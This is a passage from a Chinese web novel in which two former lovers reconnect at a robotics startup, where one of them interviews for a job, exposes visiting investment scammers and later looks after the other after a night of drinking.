只是她还在问您贵姓,张侃就举着手机跑了出来,喊了一声“大佬?”。他“嗯”了一声,张侃激动地把他带走了。 然后没等拐弯,席子又从里面冒出来,瞳孔地震地喊了一声“旭子哥”,他又说“好久不见”。 谭小萱越看越懵圈:所以在这个公司,这帅哥是只有她一个人不认识吗? 然后刚刚,她到办公室来,又听见方笑贻在里面嚷“别在这里说这些”什么的。 所以“这些”到底是什么?谭小萱嗅到了一种巨大的故事感。 而隔墙有耳,门里的两人都不知道,气氛依旧熟悉又诡异。方笑贻说不出不好意思,边煦也不自觉告退。 沉默之中,方笑贻要走,只好先问他:“我现在有点事,你是去找张侃他们聊聊?还是到会议室里等我?” 刚刚其实是个谈心的机会,但断就断了,边煦心想,再找机会吧。 方笑贻有正事,边煦便也不东拉西扯了,让开门说:“我找张侃,你别管了。” 方笑贻去桌上拿了手机,真就不打算管他了,也没空管。 杭财一来就是一个团队,方笑贻一进前厅,就从总台主持人一路寒暄到摄影老师,接着又伙同商务人员,客气热情地把对方请去了公司的展厅。 边煦在走廊里看了会儿热闹,也有人看他,他习惯了,也没察觉,只是看方笑贻走了,才转头去张侃说:“走吧,去面试。” 张侃立刻去安排了,很快会议室这边,公司软件组的老何、硬件组蒋工,还有算法组的熊彬都来了。 张侃坐在老何旁边,在老何耳边抱怨:“熊彬有什么资格面试人家啊?这跟小学生面试校长有什么区别?” “不然你来?机器人的相关算法,你懂?”老何受不了他,把他赶出去了,叫他等熊彬走了再进来。 张侃懂点皮毛,但他还是不想走,他给边煦拉了仇恨,他怕熊彬借机刁难。但边煦对他摆了下手,姿态很淡定,张侃只好出去了。 等他一走,熊彬果然发难了,他准备了一张的面试题。诸如分析LLaMA、GPT等主流大模型结构、多模态模型如CLIP/Whisper的实践分析……之类的。 边煦看他们交流的方式,再看这些题,就感觉方笑贻这个公司的管理构架有问题,然后这个熊彬学生思维也重。 背这些虽然也是门槛,但是边煦去别家,到了他这个等级,主管都是跟他聊实实在在的项目。 不过熊彬不服,边煦没写,但说了下GPT从1到4.5的框架和优化。熊彬很快就不吭声了,因为边煦说的好多内容,他都不知道,插不上话。 老何和蒋工后面也很客气了,蒋工还向他“请教”了一个问题:虚拟平台给的sim数据,到了真机上bug满天飞,这玩意儿怎么弄? 边煦说:“这个问题无解,因为脱离场景来谈技术路线肯定不合理的,但现在都是反着来的,对吧?” 蒋工跟老何对视一眼,这人话不多,但十分直击本质,蒋工欣喜道:“对对对,真是不知道该怎么办了。” “只能跳出来了,”边煦说,“换个玩法。” 蒋工倒是没听过,诧异道:“哦?换成什么呢?” “走孵化路线,有真应用场景的,比如汽车工厂,他们提供真实的场景,让仿真研发团队进驻采集。丢掉中间很多烧钱的环节和人,这样研发不会缺数据……” * 展厅的内容拍完以后,方笑贻跟着杭财的团队,去了楼顶训练场。 这里24小时都在训练,杭财主要就是来拍这个,秀一下科技的肌肉啥的。 方笑贻心里觉得,他们的技术其实才起步。但宣传这边需要自信,方笑贻只能配合。他说了些云遮雾绕的话,也被晒了个头昏脑涨。 等到主持人要补妆,摄影说了句:“方总休息一下,去喝口水吧。” 方笑贻转向楼梯间这边,才发现边煦不知道什么时候,又上来了,正在天台入口的檐荫下面。然后有个女生站在他旁边,给他送了一杯饮料。 方笑贻心里有点无语:在别人的公司,他凭啥这么来去自由啊? 只是等方笑贻过去躲太阳,边煦又把那杯饮料给他了,手里还有个不知道哪儿弄来的手持小电扇,也打开了,举到了他脸的高度上。 隔着一股热风,方笑贻看见他在电扇后面说:“喝吧,里头的冰还没化完。” 这也不是他买的,只是边煦以前都是这么对他的,吃的喝的先给他,也经常给他擦汗。 方笑贻怔怔地盯着他,心里突然泛起一种伤心的动容。 可边煦看他目光恍惚,还以为他中暑了,伸手就想摸他的额头:“怎么了?” 方笑贻回过神,看见他的手,又瞥见了楼梯间杭财的小孩儿,心下一震,觉得太亲密了,立刻往后仰了下说:“没事,热得有点蒙了,喝点凉的就好了。” 他一下蔫一下又来劲,边煦狐疑地盯了他一下,但没说什么:“那喝吧。” 方笑贻于是喝了口水,又伸手去拿电扇,好奇道:“你哪儿来的这个?” 这儿都是人,边煦松了手:“张侃的。” 方笑贻“哦”了下,干站着尴尬,又问他面试聊得怎么样。 边煦刚在张侃那儿学了个词:“手拿把掐吧。” 方笑贻又在喝水,闻言想起早上的遗留问题,一下呛住了,咳了个天昏地暗。 边煦不晓得他在搞什么鬼,毛毛糙糙的,连忙去给他拍背。 然后公司商务主管的助理小郑还嫌不够乱,又从楼梯口跑了出来。 他压低声音,避着杭财的人说:“老板,刘总已经开完会了,各方面也谈妥了,但是投资公司的经理说,晚上要跟资方聚个餐。刘总叫我来问你,你去不去?” 刘总大名刘桥,是方笑贻公司的商务主管。 方笑贻气还没顺匀,闻言又一个头两个大,他说:“我怎么去啊?我又不能分成两个。”财经这边也是大老爷。 小郑嘴角为难地一撇,刚要问:刘总还叫我问你,那个餐费是不是归咱们管? 边煦忽然来了句:“人都还在公司吗?” 小郑不认识他,但看他搭着自家老板的肩膀,又在给他拍背,立刻平级对待道:“在的。” “那我下去看看吧。”边煦在方笑贻背心上一拍。 方笑贻却感觉有点搞笑:“有你什么事啊?” 转让协议还没签,边煦好笑道:“我不还是股东吗?” 说完又凑到他耳边,耳语了一句。 方笑贻脸色霎时微微一变,看了他一眼:“当真?” 边煦说:“十有八九。” 方笑贻当即拧了下眉毛,对小郑说:“这是公司的大股东,姓边,你带他去见刘总,叫刘总有事跟他商量,不要擅自做决定。” 第69章 说是一个短视频,但杭财一拍,还是去了快2个小时。 好在对方没留下吃饭,设备一收,干脆利落地撤走了。 方笑贻将人送走,再回到办公室,还没进门,就嗅到了不同寻常的气息。 玻璃门关着,谭小萱人不在位子上,在走道口探头探脑。 方笑贻推门进去,赶上她听到动静回头,几句话一对,悬着的心差不多就死了。 边煦的嘴大概开过光,他说这团队看起来像骗子。 谭小萱刚刚也说,对方试图逃跑。 “幸好那个……”谭小萱差点没脱口而出一个帅哥,磕巴了下,“那个边总,一进来就叫我把门锁了。” 边煦真的挺敏锐的,反应也快。 不过眼下不是夸他的时候,方笑贻点了下头,跟着往里面看了看,但没听见什么动静,就问她:“人呢?” “还在1会议室。” “他们都被戳穿了,”方笑贻有点纳闷,“没闹吗?” “闹啊,咋没闹?”谭小萱气不打一处来,“大吼大叫的,说要把我们门砸掉呢,还要去告我们是土匪,限制他们的人身自由。” 方笑贻开始往里面走,但嘴上还在打听:“那现在怎么这么安静了?” 谭小萱“噗”的笑出了声:“因为你请来的边总说,杭市财经正在楼顶采访,问他们需不需要他叫记者下来,把我们的‘恶行’拍给全国人民看?” 还恶行跟全国人民,方笑贻莫名被戳中笑点,笑着进了走廊。 路上,他途径研发区,碰见张侃端着水杯,在走道里摸鱼。方笑贻正好还拿着他的电扇,顺手就给他了,还说了声谢谢。 张侃却没说不客气,只是撵上他,语气有点埋怨:“老板,你们这到底在搞什么play啊?” 方笑贻以为他在说骗子,脚上没停道:“眼窝子浅,被骗了呗。” “ber是,”张侃根本不关心骗子,“我说的是你跟煦总。” 方笑贻敏感地把他一瞥,细想又变得理直气壮起来。 他跟边煦能干嘛?这一下午拢共见了没十分钟,要吵不吵的,还没忘记关门。 “不晓得你在胡说八道什么,”方笑贻惦记着骗子,没空搭理他,“干你的活去。” “还没有?你认识,又说不认识,煦总呢自己是股东,还让我内推,还叫我们面试他,诶唷我去,”张侃简直气笑了,“现在连老何都有点忐忑了,上头是不是对我们不满意,在反向面试,摸我们底呢。” 方笑贻:“……” 打死他也想不到,逻辑的走向能变成这样。但阴差阳错,站在张侃的视角上,这么推竟然也合理。 可他跟边煦,那怎么说?方笑贻只能揣着一种复杂又荒谬的可笑,敷衍地跟张侃解释。 “他以前是跟人合伙投过一点股份,但是已经启动退股了,现在是真的在找工作,你搞点阴谋论刺激生活也不是不行,但是不要太过分了。” “……”张侃还是不理解,“别人乌泱泱地往里头挤呢,为什么这会儿退出?” 方笑贻一句“缺钱用”把他打发了,自己跟商务进了会议室。 里边,双方已经没有交谈了。 边煦带着刘桥他们,空了两个座位,背对门,安静地坐着。天玺投资的座位在对面,但4个人里,有3个都猫在会议室的角上打电话。 方笑贻推开门的瞬间,对方那个姓陈的主管离门最近,正在咬牙切齿地借钱。 “……就几万,你不借?等我进了局……” 然后他一抬头看见方笑贻,又立刻变作一副苦脸,挂了电话,点头哈腰地过来讨饶,说了一箩筐屁话。什么有眼不识泰山、大水冲了龙王庙之类的,但是目标很明确。 “不是我们哥几个不想还啊,是真的没有!现在的人一听见借钱的,他也跟你借,这一时三刻的,我上哪凑钱去?您行行好,就通融我们……1天!明天之前我一定还上,不信您叫人跟着我们!” 方笑贻还什么都不知道,根本不可能吭声,只往边煦那边看了一眼。 那边,刘桥瞬间揪起脑袋,冲他摇头。 边煦倒还端着个他十亿大股东般的派头,冲方笑贻勾了下手指:“笑贻,来。” “大股东”都发话了,方笑贻赶紧抽出被陈经理捧抓的右手,坐到组织这边,开始小声补课:“什么情况?” 边煦从桌上拿起几张纸,递给他说:“他们承认了,自己就是骗吃骗喝的。” 方笑贻看了下那几张纸,分别是网上抓取的,避雷这家公司的帖子,他们开的车牌号资料,以及这个陈经理的征信。 结果显示,车牌是租赁公司的,而这姓陈的,竟还是个失信执行人,专做这种投资骗局。 方笑贻第一次上这种当,就被边煦逮个正着。 方笑贻有点尴尬,但也庆幸他今天刚好在这里。然后事已至此,方笑贻只能压下忸怩,窃窃私语地问他取经。 “你是怎么知道?他们有问题的?” 边煦家里虽然倒了,但耳濡目染了近20年的生意经,他说:“以前家里吃饭的时候,听长辈说的,京城和深市的投资骗子最多,只要是这两个地方来的陌生人,装得越有钱的、越喜欢拜访的、越喜欢聚餐的,基本100%都有问题。” 方笑贻吃了个教训,记住了,又扫视一圈:“现在这是在干嘛?” 边煦说:“叫他们还钱。” 方笑贻有点稀奇:“你叫他们还,他们就还啊?” 骗子有这么老实? 果然,边煦也给了他一个“想多了”的眼神:“法院叫他们还,他们都不会还的。” 刘桥在一旁无聊,偷听了会儿,咬着后槽牙加了进来。 “对!兜里压根没钱,4个人,搞得油头粉面的,结果v信、支付宝的全部余额加起来,都凑不够5000块钱,真尼玛绝了。” 方笑贻还是没太懂:“但他们给咱们看余额,不就是默认还钱的意思吗?” 他说“咱们”,并且没一点停顿。 边煦视线本就在他脸上,闻言轻轻晃进他眼里,却发现他面无异色,好像没察觉到自己说了什么。 方笑贻确实没意识,他对边煦的信任是一种习惯。然后刘桥又接话,牵走了他的注意力。 “默认个屁啊!方总,你别把他们想得太好了,”刘桥鄙夷往对面剜了一眼,“要不是边总找到了被他们骗过的大户,问他们是要赔几万,还是几十万?他们绝对还嚣张的很,说饭是我们求着他们吃的,评估的钱也一分没进他们的口袋。” 方笑贻闻言,心里登时就明白了,时隔一天,自己又欠了边煦一个人情。 在全网抓取关键词,对边煦来说是小菜一碟,但对外行来说,至少做不到这么快。 后面,这4个骗子东拼西凑,还回来了2万2,还留了份赔偿书和欠条。但剩下的1万多,就当是买教训了。 等人走后,刘桥懊恼又感激,一个劲地要请边煦吃饭,以示感激。 边煦睨了方笑贻一眼:“不用,叫你们老板请我吃烧烤就行了,他正好还欠我一顿饭。” 再这么下去,全世界都要知道自己欠他饭吃了。 方笑贻真的服了,又瞥见刘桥那个卖老板没商量的表情,干脆自己先妥协了,看着他说:“请!请你,马上就请,行吗?” 边煦眉眼隐隐轻快:“行。” 方笑贻一看时间也5点40了,脸往外一侧,甩了眼神给他说:“那走吧。” * 方笑贻拿了车钥匙,领着边煦出去的时候,一路上搭理他的人还不少。 有张侃他们,其中张侃还站起来了,说要送他。 “不用,”边煦指了下方笑贻说,“有人送了。” “好吧,”张侃才作罢,但又像个王婆一样说,“佬来我们这儿上班哈,你下午给我调的模型参数好用,跑起来嗖嗖快,我跟老何还有蒋哥都很希望你来。” “谢谢,我也希望。”边煦人模狗样地把压力传给了方笑贻。 迎着技术组殷切的目光,方笑贻竟生出了一种负罪感,但他还是打了个哈哈:“我更希望了,大家都能心想事成,走了。” 只是才走到前厅,刘桥又追出来,送了边煦一个小礼品袋。 那袋子是公司自印的,平时看人下菜的装点小礼物。 还有谭小萱,她鬼鬼祟祟地跟到了电梯厅。 方笑贻问她干嘛,她才嬉皮笑脸地说:“谭哥知道边总到我们公司来了,叫我替他问个好。” 方笑贻当时就无语住了:神经,怎么谭威人在榆临,都知道了? 不过等边煦跟谭小萱说上话:“谭哥是?谭威吗?” 谭小萱疯狂点头:“对对对。” 方笑贻闲着没事,一看自己的手机,登时就明白是怎么回事了。 [谭威@交行]:截图.jpg [谭威@交行]:大哥,这是人是鬼??? 而截图来自于谭小萱的朋友圈。 [谭不拢]:今日访客福利[照片] 至于那张照片,方笑贻都不用放大都看得见,是边煦站在公司走廊入口处的侧身照。 互联网真是名不虚传,但方笑贻现在懒得搭理谭威,因为边煦三言两语,已经结束了对话,在看他了。 方笑贻立刻按了电梯,他怕边煦再待下去,指不定又把谁招来了。 两人很快下到一层,上了车。 车是一辆黑色的别克GL8,方笑贻在开,他也还是不怎么说话。 边煦坐在副驾,心里其实也挫败,但有了早上的教训,他也绝口不提什么你不想见我、不想跟我说话……这种没用的酸话。 方笑贻不想说,那就先说点他愿意说的。不然还没到桌上,可能人先气跑了。 于是一路上,边煦只跟方笑贻聊工作,他精心挑了个话题,然后状似不经意地提起。 “对了,下午张侃问我,你们公司那个DTact传感器为什么那么卡。我看了下算法,感觉分层有点问题。” 而这个玩意儿,算法组已经卡了5天了,毫无寸进。 方笑贻很难说,爱情跟工作哪个更要命?他只知道,自己的嘴有多没出息,多快就向他原本不想搭理的人滑跪了。 “什么问题?能说说看吗?” “可以啊,你们现在这个算法里面,同时用了两种网络,Q和flow,对吧?” “对。” “它们单用问题不大,但同时蒸馏数据,就会出现critic中间层没用layernorm……” 最后,两人也没去方笑贻一开始订的“碰个面”。 这烧烤店在万达里面,过去有点堵,方笑贻又要学习、又要踩油门,边煦怕他追尾别人,干脆叫他靠边停了。 方笑贻往外一看,问他:“你确定?要停在这儿?” 这儿可只有路边摊。 边煦这边是个小区,闻言往路对面瞟了一眼,发现是个有点破烂的农贸市场。它入口狭小、破旧,架空的红色弧形招牌,让边煦一下想起了一个熟悉的地方。 这让他目光柔软起来,笑了下说:“确定,你不觉得它很像一个地方吗?” 方笑贻经常从这儿过,知道他说的是哪里。 它像四海。 所有劳动力聚集的地方,都长这样。 然后这一瞬间,方笑贻才忽然发现,自己竟还记得那么多关于四海的碎片。 边煦在路上瞪他、在店里教方雪晴写字、在楼顶给自己撑伞,还说天晴的时候再来他搭的凉棚里玩…… 只是时光呼啸,方笑贻在一种恍若坐高铁穿过隧道的耳鸣里回过神来,看见边煦还在跟前。 他脸变成熟了,但看自己的眼神还是很直白。 心脏仿佛被泡进了醋里,可方笑贻硬是揣股那种酸意说:“像哪儿?” 边煦眼睑细微地抽了下:“四海。” 方笑贻面不改色道:“像吗?我没觉得,但你要是不介意吃大排档,那我就找个地方停了。” 边煦立刻盯了他一眼,那目光不狠,只是很用力,像是想把他扎穿一样看透。 然后方笑贻看见他没那么高兴地说:“停吧,我就想吃大排档。” 两人闷闷地下了车,但过了马路,边煦脸色又正常了,抓着他的胳膊往身上贴,还义正言辞地说:“你过来一点,别踩到人老太太的菜。” 被摆摊的占完之后,这里的路是窄,但方笑贻还不至于这么缺德。 他拧着胳膊说:“没踩,你别抓着我。” 边煦松了手,走了没5米,又停下了,说要买樱桃。 买可以,但喊他大可不必,他只管一顿饭而已,方笑贻作壁上观:“要买你自己买。” 边煦笑他:“你怎么这么抠?餐前水果都不管吗?” 方笑贻拿眼斜他:“你再说,饭都没了。” 边煦乐了两下,蹲下去自己买了点。 方笑贻站在旁边,看见他终于学会挑水果了,会抓一小撮看看,然后再扔进袋子里。 边煦买完,又让老板冲水洗了,洗完站起来,才往方笑贻手指上一挂说:“吃吧。” 方笑贻这才想起来,边煦不爱吃樱桃,他怕酸,自己倒还凑合—— 很快,两人找了个人多的大排档。 这家架了个大电视,上面正在放中超,别桌都在热火朝天地吹牛。 只有他们这桌,说得少喝得多,边煦也懒得跟他说。 方笑贻嘴硬,边煦有心叫他喝点,而方笑贻是心里烦,啤的白的夹着喝,没等天黑透,人就已经迷了。 边煦这才开始问他:“我去你公司,帮你管技术,不好吗?” 方笑贻佯着眼皮,摆了下手:“好屁啊,你这个人、嗝!喜欢跑路,信用不好。” 边煦心里一痛,伸手握住了他那只手,用力地攥紧了:“以后不跑了,真的。” 第70章 昨晚自己是怎么回来的,方笑贻没什么印象了。 他只知道今早一睁眼,头顶的灯、对面的电视和身上的被子,全都不认识。 得,他没回去,那这是? 方笑贻一个激灵,彻底吓醒了,但他伸手一撑床铺,还没起身,手掌根就有点痛,随即又感觉到自己好像没穿裤子…… 靠! 边煦从卫生间的前室出来的时候,就见他坐在靠窗的床上,右手提着被子、左手抓着头发,垂向床铺的脸上,瞳孔在地震、表情也怀疑人生。 他肯定想歪了。 边煦原本在想事情,脸上没什么表情,但见他这样,又觉得有趣,就杵在原地欣赏。 方笑贻很快发现了他,边煦在他的微表情消失之前,故意问他:“你在想什么?” 方笑贻正在想他笑的。 苍天可鉴,人一睁眼,酒后+旧情人+酒店+光腿,随便抽两个标签,自己的反应都是合理的。 但边煦衣冠整齐地在那儿一笑,方笑贻瞬间又感觉到了一种自作多情:边煦真的不至于,沦落到趁人之危。 只是哪怕再没什么,自己身上这陌生的底裤和背心,总不能是鬼给换的。 方笑贻尴尬得如坐针毡,但还是偷偷吸了口气,放下手说:“在想这是哪儿,我是谁。” 他表现得还是颇为淡定,只是眼神有点漂移。 边煦抓住了他那点可疑的闪烁,配合道:“失忆了啊?” 可正是因为没有,边煦心情这么好,方笑贻才觉得诡异,毕竟昨晚他俩脸都聊黑了来着。 边煦说他不跑了。 自己像个老登,说挺好的,他也老大不小了,是该在这个城市好好扎根。 边煦叫他别装傻。 他叫边煦才别傻了,他们早就结束了。 边煦喝了会闷酒,又说结束了也可以重新开始。 他觉得好笑,问边煦,你搁我这儿打麻将呢。 后面边煦又跟他聊工作,方笑贻直说想要技术、不想要人,给边煦郁闷得够呛。后面又话赶话,说到了以前,气头上全是较劲,眼见着又要吵起,边煦拉着他准备回车里。 方笑贻却不肯走,跟他拉扯,结果自己没站稳,摔了一跤…… 可是这会儿,边煦又显得和颜悦色了。 自己断片之后,不会又干了什么吧? 方笑贻心有戚戚地“嗯”了一声:“这是哪儿?” 边煦路过电视柜,顺手捎了个白绿色的条形小盒子,朝他床边过来了:“金辉路的万豪。” 方笑贻瞥他一眼,感觉他好像过得比自己想得要好。 谁知边煦立刻说了句:“拿以前的积分卡兑的。” 方笑贻哪晓得他会读心,惊了下,又掩饰道:“说这干嘛。” 边煦停在过道中间说:“表达一种节俭。” 莫名其…… 方笑贻还没吐槽完,立刻就顾不上这个点了,因为边煦膝盖一弯,坐在了他的床沿中间,还伸手就来掀他的被子。 方笑贻吓了一跳,瞬间把被子下面的腿一盘,又伸手去拦:“干什……” 只是右腿一弯,膝盖顶上先传来了一阵紧绷的钝痛。 方笑贻动作一顿,“嘶”了口气。 这一顿,边煦就已经把他的被子掀了,并伸手搭住了他的右脚腕,示意性地拉了下说:“什么也不干,擦药。” 方笑贻这才注意到,自己右膝头上有片擦伤,但他顾不上它,浑身的神经好像都集中到了脚腕上。 那里有一圈温凉的紧缚感,不至于痛,只是存在感强到令方笑贻麻痒。 然后他还不敢低头看,因为边煦把袖子挽到了手肘,方笑贻一垂眼,只能看到一截光手,搭在一条光腿上。 那架势,夹在他们之间,让人只能想起旖旎。 方笑贻脸皮蹭蹭地发热,他拽过被子盖住腿,但动作有点大了,被子把边煦的手也一起盖住了。 于是,画面变得更没眼看了。 方笑贻眼前一黑,但让他自己掀开被子,露出半条腿,他也死活找不到动机,只能拽着边煦的手臂往外拉:“我有手的,我自己擦。” 边煦看他一顿瞎忙,心虚又局促,心里其实一阵好笑,面上却义正言辞:“你没洗手。” 方笑贻脸都没心思洗了,接得飞快:“不用那么讲究。” 边煦盯了他两秒,促狭地笑了下:“你昨天的澡都是我洗的,现在才别扭,不觉得晚了吗?” 方笑贻心脏都在抽搐:边煦给他洗澡的时候,他在当猪—— 他不敢想象任何相关的画面,只能在羞耻和懊悔里洗脑自己:没事,他断片了,最尴尬的时候他都不尴…… 可就在这时,边煦又来了一句:“而且我要干什么早干了,你刚醒,别瞎忙了,头还疼吗?” 方笑贻睁眼就开始咋呼,可能是激素分泌得太旺,还挺活蹦乱跳。但此刻被一提醒,头晕的感觉就回笼了,不过还算不上疼。 于是方笑贻摇了下头,但这一摇耳膜哗哗作响,跟碎很脆的纸一样。 他有点忌讳那种动静,立刻僵住了。 对面,边煦看他静止得突兀,关切地往前凑了下:“怎么了?” 方笑贻却没立刻往后躲,咽了口唾沫才说:“有点晕。” “要躺下吗?”边煦心里后悔了,不该这么灌他。 躺下给他拉腿吗?自己真是完蛋了! 方笑贻自暴自弃地往床头上一靠,脱口而出:“不用!” 那就这样吧,他不舒服,边煦也不调戏他了,堆起被子,给他把药擦了。 方笑贻垂眼看他忙活,心里觉得那点破皮,根本没什么好擦的。 但边煦的动作很轻,神态也专注,好像真的很宝贝那个膝盖似的。 他其实一直是这样,有点精细,方笑贻看了他几秒,心里一瞬间有点妥协,想伸手摸一下他的头发。 可能是为了显得更沉稳吧,边煦把头发洗直了,很利落,适合他现在的气质。但是方笑贻只记得,他以前那个发尾卷翘的手感。 只是他的手才一动,边煦就撤开棉签,坐了起来。 然后方笑贻看见他把棉签扔进了垃圾桶,又对自己说:“我9点半有个面试,得出门了。你不舒服,就再歇会儿吧,这房是续着的。” 方笑贻愣了下:“什么面试?” “慧灵科技。”边煦说着站起来,到他的床头上去收东西了,手机、耳机、充电线。 慧灵是方笑贻家的合作公司,做机械臂,也不做大小脑模型。 但这不是重点,重点是,边煦放弃倒贴他,准备去别的公司了。 还这么快! 方笑贻猝不及防,感情问题暂时降温了,但错失人才的焦虑感又拉满了。 他左右为难,还都是为了同一个男的。 * 边煦说是马上,就真没多留,包一拎人就出去了。不过走前该交代的,他在去门口的路上,也都交代清楚了。 “你衣服脏了,我给你洗了,在洗脸台右边的墙上,但还没干。你要是急着走,可以穿我的,我行李在门口的衣柜里。” “然后早餐到10点半,房卡在你床头柜上。我走了,有事给我发消息。” 他走得快,方笑贻又还在凌乱,以至于话都没插上,眼睁睁看着他不见了。 不过他走了也好,方笑贻才有空认真揣摩,自己心里这种不愿意他去慧灵的的冲动和逻辑。 为什么?慧灵不好吗?其实挺好的,很实在的一个公司。 所以其实问题不在慧灵,也不在什么大模型,只在他自己身上,自己到底想怎么样呢? 方笑贻发了会儿呆,又垂眼笑了笑,那笑意里不乏自嘲。 其实他未必真的不明白,只是心里有气,所以不愿意用大脑,在意气用事罢了。 与此同时,门板外面,边煦带紧门,脸上的表情却挺愉快和兴致盎然。 重逢至昨天深夜,方笑贻醉了牙关也紧,但边煦到底还是撬出了他想要的东西,虽然是从别人那里,比如谭威。 昨晚回到酒店时,方笑贻已经睡着了,边煦路上看到谭小萱打的招呼,沉吟两秒,请她推了下谭威的名片。 赶上谭威这边,方笑贻又还没回消息,他对状况一无所知,上来的反应就很真实。 [谭威@交行]:煦子哥哥!!!你真回来了? [谭威@交行]:还长这么帅我靠 [谭威@交行]:方儿人呢,干嘛去了,消息也不回,不会笑晕了吧? 事实上方笑贻并不高兴,所以边煦才感觉不对劲,不动声色地套起了消息。 他给谭威拍了张照片,是方笑贻在床上背对着镜头的后脑勺,又回了条:[没,他喝晕了,睡了] 可那个床单和枕套的颜色,一看就是在酒店。 谭威一看房都开了,瞬间误会至深,压根没把他当外人,问啥说啥,还左一句“你们不容易”,右一句“他一直在等你”,没少帮方笑贻刷氛围分。 只是边煦看着这些文字,再一瞥床上那个冷淡的背影,心里忽然生出了一种莫大的撕裂感。 自己一定是错过了一些重要的信息,所以才会看到一个看不懂的现象。 于是边煦立刻抓起耳机,去楼道给谭威打了个语音电话。 “多跟我说一些吧,他这几年的事,”边煦坐到台阶上说,“我什么都不知道,心里很惭愧。” “不至于不至于,你也是没办法。” 谭威安慰完,本来话就多,又加上偏心自家兄弟,替方笑贻好一通卖惨。 然后边煦才知道,方笑贻曾经非常密集的,找了他两年半。 老宅、星洲湾、他断开联系的亲戚家里,方笑贻都跑了很多趟,他还辗转找了盛芝兰的债主,又独自跑去新加坡……还在路上横穿马路,只是因为对面有个背影像他,结果被电瓶车撞飞了,右边耳朵一直刺痛和耳鸣,后面才不那么找了。 边煦心都揪成了一团,心痛和愧疚洪水般在他身体里肆虐。 风险也好、自尊也罢,都是自己觉得重要的东西。可在方笑贻心里,自己的安危,也挺重要吧? 所以至少那天在车站,自己不该躲他的。 这天夜里,边煦在楼梯间坐了很久,也忽然想通了一些事:自己这样紧逼,不过是因为离开太久,惶恐自己已经出局了。 但实际上,五年的缺位,绝不可能在几天之内弥平。不过方笑贻还在乎他,这就是他能冷静下来的筹码。 后半夜,边煦仔细盘算过了,决定换个节奏,他不会逼的这么紧了,但会多开几条战线:能去方笑贻的公司最好了。要是去不了,就到他家对门或隔壁租房。 边煦就不信了,方笑贻能一直是这个态度—— * 房里,方笑贻却已经坐不住了。 他总是低估边煦对他的影响力,以前这样,现在还是。这种无力让他心里憋闷,所以他跳下床,到衣柜的行李箱里找了件T恤和运动裤。 边煦跟他身高差不太多,略高和骨架略宽一点,不过这类衣服随便通穿,方笑贻套上裤子,很快进了洗漱间。 这边,他的衣服果然挂在浴袍挂钩上。 衬衫在左边,裤子和内裤叠在右边,都还在滴水,地上还条接水的毛巾。 方笑贻伸手摸了下衬衣袖子,镜子里的侧脸要笑不笑的,但他自己没看见。 收拾完,他也没去吃早饭,卷上湿衣服就回了公司。 路上,一夜没看,手机积了一长条未读的红角标,有公司的、同行的、工厂的各种群,还有杜廷都给他发了消息。 方笑贻点开看了。 [廷总-智谷]:天玺那个事我听说了,你需要新的投资人吗? [廷总-智谷]:需要我给你问一问 方笑贻其实是需要的,但他消息又回的挺不在状态,情绪像是被什么占住了,连感激都有点虚浮。 到了公司,路过研发区的门口,张侃又快乐地对他招手:“老板,来。” 方笑贻心不在焉地过去一看,见他屏幕上卡了快一周的训练,居然顺利地跑起来了。 张侃看他一眼,得意道:“怎么样?” “牛。”方笑贻的情绪才回温了一丝。 张侃又哪壶不开提哪壶道:“煦总昨天给修了个debug,调了俩参数,就跑通了。他人呢?啥时候来上班?” 方笑贻:“……” 然后老何跟蒋哥也来看他。 方笑贻实在不忍心在一天的打工开始之际,就泼下一盆冷水,只好莫测高深道:“该来的时候自然会来,写你的RSS去。” 等回到办公室,谭威的电话又来了。 方笑贻本来以为他要八卦,可谁知一接通,谭威上来就是一句:“你跟边煦吵架了啊?” 方笑贻结实地愣了下,才便问边回过神:“你怎么知道的?你跟他联系过了?” “昂,”谭威说,“昨天晚上,你喝醉了之后,他联系的我。” 方笑贻心里毛毛的:“你们说啥了?” 谭威微妙地停顿了一下:“没啥啊,我就你们是不是和好了,他说没有,你不想见他。” 他是个大嘴巴,边煦早上又怪怪的,方笑贻有点不信:“你没跟他瞎说什么吧?” “什么叫瞎说?”谭威吹牛,“哥从不瞎说,倒是你,才叫我搞不懂。人家没回来,你找得要死,回来了你又摆架子,你抖S啊?” 方笑贻嘴上说:“可能是吧。” 心里却在想:边煦消失了5年,自己摆摆架子,又怎么了? 只是摆架子伤工作,等挂了电话,方笑贻把自己关在办公室权衡又调整,临近中午时终于做了决定。 如果边煦不去大模型公司,那也不能去慧灵。 不然他上哪儿摆架子去?天天去慧灵客访吗?回头自己还要再去找个算法,一下输三次,大冤种才干。 于是片刻之后,边煦人在慧灵的员工食堂里,收到了一条v信。 [方笑贻]:面试完了吗?感觉怎么样? 消息是发出于12点整,边煦过了10分才看到,但他揣着一点惊喜和玩味的笑意,硬是放下手机,吃得差不多了才回。 [边煦]:还行,他们食堂的饭也不错 云枢这边,方笑贻人还没去吃饭,但看到消息,又没心思吃了,只是对着电脑,一味皱眉。 早上面试,中午就吃食堂,那下午的意思,是要上岗了呗? 70-80 第71章 方笑贻在座位上琢磨了5分钟,本来想给慧灵的王总打个电话,摸一下情况,但转念一想,反正最后还是得找本人,何必舍近求远? 于是他把心一横,直接打给了边煦。 食堂这边,边煦的餐盘都已经被收走了,但桌上的男人们还在唠嗑。 “国外那些老牌子臂控厂,硬件跟技术都还是牛,”慧灵的全栈总工李连唏嘘道,“啧,想破脑壳也不知道他们那些细节是怎么做出来的,不服不行。” “再牛你也只能干瞪眼,”技术副总胡剑说,“人家那个保密技术,20年前的老机器资料你都摸不着,只能自己从0+1研究起。” “研究研究,这不正研究吗?”李连一瞥边煦,开玩笑道,“我连隔几届的师弟都绑来面试了,可以说是从技术研究到人才上了。二位老总,你们别光顾着吃饭,赶紧留人啊。” 慧灵的老总王需林立刻看向边煦,只是他还没说话,边煦倒扣在餐桌上的手机先震了起来。 他翻开一看是方笑贻,脸上不自觉就多了抹耐人寻味。 上一条消息发过去之后,方笑贻就不见了,他是气是急还是无所谓,边煦也说不好。 所以这个电话,是想跟自己说什么呢? 边煦心里想接电话,于是没挂,只摁了锁屏键,他抬眼看向王需林,准备等他说完了,自己再去接。 可王需林一会要请他帮忙,看设备调试,对他分外客气,下巴一抬,叫他先接。 边煦便一句招呼打完一圈,站起来把电话接了。 信号一通,方笑贻揣着一腔临时强扭出来的挽留的态度,刚要打招呼,结果对面先传来一句。 “你小子,跑这么快,你媳妇儿查岗啊。” 接着是边煦近在话筒边的声音:“没媳妇儿,胡总,别造我谣了。” 这原本是事实,可方笑贻就是有种形容不上来的不爽,尤其是接在边煦往慧灵跑得这么快这件事之后。 “喂?”方笑贻立刻刷了下存在感。 边煦应道:“在。” 